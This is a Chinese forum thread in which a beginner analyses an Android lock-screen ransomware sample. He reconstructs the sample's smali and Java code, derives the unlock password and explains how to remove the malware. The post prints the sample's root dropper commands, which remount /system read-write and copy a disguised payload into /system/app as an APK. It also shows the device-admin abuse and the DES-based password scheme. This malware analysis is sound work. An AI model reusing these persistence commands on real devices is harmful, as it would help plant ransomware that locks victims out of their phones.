90hacker 发表于 2016-5-10 20:14

android锁屏样本分析(菜鸟版)

本帖最后由 90hacker 于 2016-5-12 09:58 编辑

http://www.52pojie.cn/thread-428680-1-1.html
今天 早上看到的、然后就想研究一下、
先讲一下、对于没有安卓开发的我、但是我是做java的做web ,Android的代码我也能看一点点懂、
然后就开始怎么破解源码找资料、慢慢的 改之理APK 什么的工具、就下载下来研究、发现不是直接的java代码、smali的代码、又开始 CSDN 找smali的语法、又开始学习、
代码分析就这样开始了、这里说明一下 我虽然不做Android 但是对Android 懂一点点 还是有的、比如 什么 Activity 什么service 、什么注册监听器 服务 等等 还是懂一点点的、

这样应该就是 入口点了、(这里说明一下,如果我哪里说错了,请别骂我、你直接来打我{:301_998:})

这里smali的代码 我就不贴上来了,就把分析出来的 java 贴出来了、这里有人问:APK改之理不是有java代码的吗、这里只是想自己分析smali代码(改之理好像没有java代码打开java源码是不能点的)
c.smali代码
public class c exentd Activity{
      private Button a;
      private Button b;
      private Button c;
      private EditText c;
      private a del; //a这个类是删除文件或者文件夹操作的类
      String file;
      String path;
      
      public c(){
                del = new a();
                path = g();
                StringBuffer sb = new StringBuffer();
                sb.append(path);
                string v4 = "/zibao.l"
                sb.append(v4);
                file = sb.toString();
               
      }
      
      private void d(String p0){
                //这里就不很仔细的分析了
                //大概就是把 const-string v8, "ijm-x86.so" 通过操作流写入到 上面file的路径上吧
               
      }
      //获取sdk路径
      public final string g(){
                //根据上面的 path = g(); 然后后又拼接:可以得出这里是获取程序的路径
                //getExternalStorageDirectory()
                //getAbsolutePath()
                //大家可以百度一下 这些函数差不多就能猜出这个方法 放回的数据是什么了
               
      }
      
      protected void onCreate(Bundle bundle){
                //setContentView();
                //findViewById()
                //.....等等等一堆初始 控件 设置按钮事件
                //new-instance v5, Ljava/lang/StringBuffer; 从这里开始分析
                StringBuffer sb = new StringBuffer();
                sb.append(path);
                String v6 = "/zibao.l";
                sb.append(v6);
                d(sb.toString());//调用d(); 函数
               
               
      }
      //销毁的时候执行
      protected void onDestroy(){
                a->deleteFile(path);//删除文件
      super.onDestroy(this);
      
      }
      //按钮事件
      class ButtonClickListener(){
                //这里一开始分析有点迷
                //因为我不知道 有哪些按钮,也不可能每一个按钮的事件都去分析他,
                //我分析代码有一个习惯就盲扫 主要看哪些代码呢,在这里我是根据我的思路来的,可能有些人不这样做的、我只做分享哦,再说这是菜鸟级别的分析。。
                void onClick(){
                        //invoke-direct {v5}, Lcom/qqmagic/b;-><init>()V 类型这种代码、调用了自己定义的对象或函数
                        //invoke-virtual {v4}, Lcom/qqmagic/b;->rootShell()V 上面定义b,这里调用了b.rootShell 函数
                        //invoke-static {v4}, Lcom/qqmagic/a;->deleteFile(Ljava/lang/String;)Z
                        //关键就在rootShell(); 这里做了手脚。跟进 b->rootShell();
                }
      }
      
}


这些吧 a这个类也贴出来给大家看看 、这个类主要是删除文件或文件夹的 所有没什么好分析的、
a.smali代码
public class a{
      
      
      public static boolean delete(String s){
                File file = new File(s);
               
                if(file.exists()){
                        return;
                }
                if(file.isFile()){
                        deleteFile(s);
                }
                v3 = v0;
               
      }
      
      public static boolean deleteDirectory(String path){
               
      }
      
      public static boolean deleteFile(String path){
               
      }
      
}


由于时间问题我分析这个b类的时候就分析核心的地方、不每个方法都分析。b.smali代码

# virtual methods
.method rootShell()V
    .locals 9
    .annotation system Ldalvik/annotation/Signature;
      value = {
            "()V"
      }
    .end annotation

    .prologue
    .line 203
    move-object v0, p0

    const/4 v4, 0x7

    new-array v4, v4, [Ljava/lang/String;

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x0

    const-string v7, "mount -o rw,remount /system"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x1

    const-string v7, "mount -o rw,remount /system/app"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x2

    const-string v7, "cp /sdcard/zihao.l /system/app/"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x3

    const-string v7, "chmod 777 /system/app/zihao.l"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x4

    const-string v7, "mv /system/app/zihao.l /system/app/zihao.apk"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x5

    const-string v7, "chmod 644 /system/app/zihao.apk"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x6

    const-string v7, "reboot"

    aput-object v7, v5, v6

    move-object v1, v4

    .line 212
    move-object v4, v1

    const/4 v5, 0x1

    invoke-static {v4, v5}, Lcom/qqmagic/b;->execCommand([Ljava/lang/String;Z)Lcom/qqmagic/b$CommandResult;

    move-result-object v4

    move-object v2, v4

    return-void
.end method


const-string v7, "mount -o rw,remount /system"
const-string v7, "mount -o rw,remount /system/app"
const-string v7, "cp /sdcard/zihao.l /system/app/"//cp 命令是 复制 将/sdcard/zihao.l(这个是前面我们分析到的那个ijm-x86.os文件) 复制到/system/app/目录下
const-string v7, "chmod 777 /system/app/zihao.l"
const-string v7, "mv /system/app/zihao.l /system/app/zihao.apk" //将zihao.l 改成zihao.apk
const-string v7, "chmod 644 /system/app/zihao.apk"
invoke-static {v4, v5}, Lcom/qqmagic/b;->execCommand([Ljava/lang/String;Z)Lcom/qqmagic/b$CommandResult;
这里很清楚的 把我们上个刚刚写入到 “//大概就是把 const-string v8, "ijm-x86.so" 通过操作流写入到 上面file的路径上吧” 安装到/system/app/zihao.apk"、没错就是酱紫的(菜鸟版分析代码,勿喷)。
好了、接下来 我们直接把 ijm-x86.so 改成 ijm-x86.apk 然后继续分析。。
--------------------------分割线----------------------------------------------

时间:20.15 以前我都是20点出去跑步的、但是今天迟了15 所有我准备先分析到这里、然后发布出去 等晚上回来继续编辑然后继续分析。
开始分析:zihao.apk




<receiver android:description="@string/hello" android:name=".MyAdmin">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
</receiver>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>这个好像是手机开机接收的 服务
我是比较喜欢先分析activity 所有我们先看一下.M这个类
M.smali
public class M extends Activity{
      
      private void activiteDevice(){
               
                String v7 = "android.app.action.ADD_DEVICE_ADMIN";
                Intent intent = new Intent(v7);
                ComponentName v5 = new ComponentName();
                String v8="com.h.MyAdmin";
                //这里我看到了v8="com.h.MyAdmin"; 这个在配置文件里面我们就看到了是一个receiver
                string v6, "android.app.extra.DEVICE_ADMIN"
                intent.putExtra(v6);
                startActivityForResult(intent);
                //这个函数应该是启动 MyAdmin 用的
                //我们来看一下MyAdmin 到底是什么。。
      }
}


MyAdmin.smali
public class MyAdmin extends DeviceAdminReceiver{
      
      //就分析一个核心的代码
      public void onEnabled(Context intent){
                int v8 = 0x3f0;
                v4 = v8.toString();
                v8 = new Intent();
                string v11= "com.h.s"//这些又看见一个类了
                //下面的代码是启动这个com.h.s这个类
                forName(v11); //加载类
                //invoke-virtual {v8, v9}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                //继续分析s.smali
               
      }

}

继续分析s.smali
打开s.smali发现代码有900多行,先随便看一下 固定的字符串先
发现:
const-string v5, "\u8f93\u5165\u5bc6\u7801\uff01"
const-string v5, "\u60a8\u7684\u89e3\u9501\u7801\uff0c\u5feb\u8dea\u4e0b\u5c31\u53ef\u4ee5\u89e3\u9501\uff0c\u7136\u540e\u518d\u4eb2\u4e00\u4e0b\u5c4f\u5e55\uff1a"
const-string v8, "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"
const-string v6, "connectivity"
const-string v7, "c29fe56fa59ab0db"
const-string v5, "Flowers"
const-string v6, "5a15e58cc8db8d1c700ecb6bb7b627a9"
const-string v5, "df96a4f9d3d72ed8"
看到这么多的代码 还有加密的 什么MD5 简直无从下手啊、先去解一下 上面那些Unicode编码转换一下看看

这个应该就是被害楼主的那个启动界面了吧、、

-------------------又开始分割线了------------------------------------



看了一下电脑的电快没了、、
所有今天就分析到这里。
然后来个总结,总结什么呢。

1.第一个APP运行的时候、把ijm-x86.OS 写到手机卡的/sdcard/zihao.l 上 这个时候 ijm-x86.OS 就变成了一个 zihao.l程序,然后代码里通过 手机命令
(刚刚不知道手机命令是什么然后去百度了一下:android ADB 叫这个 哈哈。。让我装B 叫 “android ADB” OK)
2.然后执行一堆命令 具体的命令就是把zihao.l复制到 /system/app/zihao.apk这样一个 SO文件变成zihao.l 在变成一个APK 就这样 留在手机里面的后门。
闲话 /system/app/这个目录手机好像要root 才能复制进去应该 所有大家root手机不能随便允许别的APP执行一些操作、这样很危险的、你的支付宝 等等一堆 差不多就是等于给别人了、要是在叼一点的木马拦截短信 发送短信 等等一堆。完蛋。。闲话不多说。。今天就到这里 明天继续。




今天继续分析一下 加密的算法、先上一段 java代码

这段代码 我没有完全的看等执行的流程、不是代码看不懂、是执行的流程、在下面
label291: Thread local100000000 = new Thread()
......

break label291;
这个位置开始这个可能是编译的问题、

@Override
public void onCreate()
{
    super.onCreate();
    this.pass = (()(Math.random() * 100000000));
    long l = this.pass + 1;
    Long localLong = new Long(l);
    this.passw = localLong;
    DU localDU1 = new DU("flower");
    this.des = localDU1;
    try
    {
      DU localDU2 = new DU(this.des.decrypt("c29fe56fa59ab0db"));
      this.des = localDU2;
      this.share = getSharedPreferences("Flowers", 0);
      this.editor = this.share.edit();
      if (this.share.getLong("m", 0) == 0)
      {
      this.editor.putLong("m", this.pass);
      this.editor.commit();
      }
    }
    catch (Exception localException2)
    {
      try
      {
      SharedPreferences.Editor localEditor = this.editor;
      DU localDU3 = this.des;
      StringBuffer localStringBuffer2 = new StringBuffer();
      localEditor.putString("passw", localDU3.encrypt("" + this.passw));
      this.editor.commit();
      if (is(getApplicationContext()))
      {
          StringBuffer localStringBuffer1 = new StringBuffer();
          this.ppss = (this.share.getLong("m", 8) + "");
      }
      }
      catch (Exception localException2)
      {
      try
      {
          while (true)
          {
            this.password = this.des.decrypt(this.share.getString("passw", ""));
            label291: Thread local100000000 = new Thread() //大概就是这个地方
            {
            public void run()
            {
            }
            };
            local100000000.start();
            return;
            localException1 = localException1;
          }
          localException2 = localException2;
      }
      catch (Exception localException3)
      {
          break label291;
      }
      try
      {
//还有这里不知道会不会执行到、然后在这个地方要是执行到代码、那么也就是说 上面做了一堆没用的操作
//因为这里又从新给 xml里面的 m 和passw进行赋值了
//所有这个地方有点纠结。
          this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
          this.editor.commit();
          this.editor.putString("passw", "df96a4f9d3d72ed8");
          this.editor.commit();
          return;
      }
      catch (Exception localException4)
      {
      }
      }
    }
}


首先这段代码编译出来有点乱 然后我重新整理了一下 变成
————下面这种——————

public class Test {
        private Long pass;
        private Long passw;
        private DU des;
        private Long ppss;
        private String password;
    public void oncreate(){
            this.pass = (long) (Math.random() * 100000000); //这个是随机生成的一个8位的数
            System.out.println(pass);
      long l = this.pass + 1; //然后在+1比如(12345678+1)
      System.out.println(l);
      Long localLong = new Long(l);
      this.passw = localLong; //把变量赋值给 passw
      DU localDU1 = new DU("flower");   //这个DU类就是 加密一个类 采用的是 DES 加密
      this.des = localDU1;
      try
      {
          DU localDU2 = new DU(this.des.decrypt("c29fe56fa59ab0db"));//把c29fe56fa59ab0db 当做一个Key
          //这里DES 加密的原理 我就不说了大家百度一下就OK了差不多就是   (Key+一个码)=加密数据
          //解密的话 你必须得知道 这个Key 解密(key+加密数据)=解密数据
          //类似这样但是不是真正的相加就可以了 我这里只是几个例子
         
          this.des = localDU2;
          //this.share = getSharedPreferences("Flowers", 0);
          //this.editor = this.share.edit();
         // if (this.share.getLong("m", 0) == 0)
          //{
          //this.editor.putLong("m", this.pass); //这个把 上面生成的8位数+1 保存到一个XML里 名字叫Flowers.xml 好像在手机apk目录里面一个叫data/...的目录
         
         
          System.out.println("m->"+this.pass);
          //this.editor.commit();
          //}
          //SharedPreferences.Editor localEditor = this.editor;
          DU localDU3 = this.des;
          StringBuffer localStringBuffer2 = new StringBuffer();
          String passw =localDU3.encrypt("" + this.passw);
          System.out.println("passw:"+passw);
          //this.editor.commit();
          //if (is(getApplicationContext()))
          //{
            StringBuffer localStringBuffer1 = new StringBuffer();
            this.ppss =pass;
          //}
            this.password = this.des.decrypt(passw.toString());
            System.out.println("password:"+password);
            
            //this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
            //this.editor.commit();
            //this.editor.putString("passw", "df96a4f9d3d72ed8");
            //this.editor.commit();
            
            System.out.println("m:"+des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9"));
            System.out.println("passw:df96a4f9d3d72ed8");

            System.out.println("----------------------------------------");
            String p = des.decrypt("df96a4f9d3d72ed8");
            System.out.println("password:"+p);
                           
         
         System.out.println("Pin:");
         System.out.println(des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"));
      }catch (Exception localException2)
      {
      }
    }
   
    public static void main(String[] args) {
                Test t = new Test();
                t.oncreate();
               
        }


执行的结果是:

m->63961332 屏幕显示的8位数

passw:a8f122c917e24314700ecb6bb7b627a9

password:63961333这个就是密码


//如果我说了上面那个代码重新赋值了
this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));//xml的m重新赋值
this.editor.commit();
this.editor.putString("passw", "df96a4f9d3d72ed8");   //xml的passw重新赋值
this.editor.commit();


m:00000000


passw:df96a4f9d3d72ed8
----------------------------------------
password:zixi那么 密码就是zixi





这里手上也没有安卓手机做测试、都是看着代码 分析的、都没有执行过app 长什么样子的 也没见过、

这里说一下 还有一种解锁的方法、就是手机进入rc模式 /system/app/zihao.apk 删掉这个目录里面的 zihao.apk 然后重新开机就OK了








90hacker 发表于 2016-5-12 10:13

止!步 发表于 2016-5-11 15:29
有时间帮忙看看这个锁机密码是多少,谢谢,http://pan.baidu.com/s/1dFseq4L

你这个APK加了 阿里的壳、所有......要是没加壳的 我可以帮你分析一下代码、脱壳对我来说一点难、

Doigt 发表于 2016-5-10 21:52

sjjyz 发表于 2016-5-10 20:17
被锁的一般都是小学生.刷赞刷空间啥的.

确实,各种刷钻,刷支付宝神马的,一堆,被锁的人都是智商不足。

sjjyz 发表于 2016-5-10 20:17

被锁的一般都是小学生.刷赞刷空间啥的.

慢慢的拼凑 发表于 2016-5-10 20:21

某论坛出了个防锁侠

点击下载 发表于 2016-5-10 20:25

yomkk 发表于 2016-5-10 21:14

支持发帖分享心得

zhuzhili2261 发表于 2016-5-10 22:24

好贴 张姿势

止!步 发表于 2016-5-11 15:29

有时间帮忙看看这个锁机密码是多少,谢谢,http://pan.baidu.com/s/1dFseq4L

止!步 发表于 2016-5-11 15:31

Doigt 发表于 2016-5-10 21:52
确实,各种刷钻,刷支付宝神马的,一堆,被锁的人都是智商不足。

我很悲催,被锁机了

Doigt 发表于 2016-5-12 06:26

止!步 发表于 2016-5-11 15:31
我很悲催,被锁机了

............无语= =
页: [1] 2 3
查看完整版本: android锁屏样本分析(菜鸟版)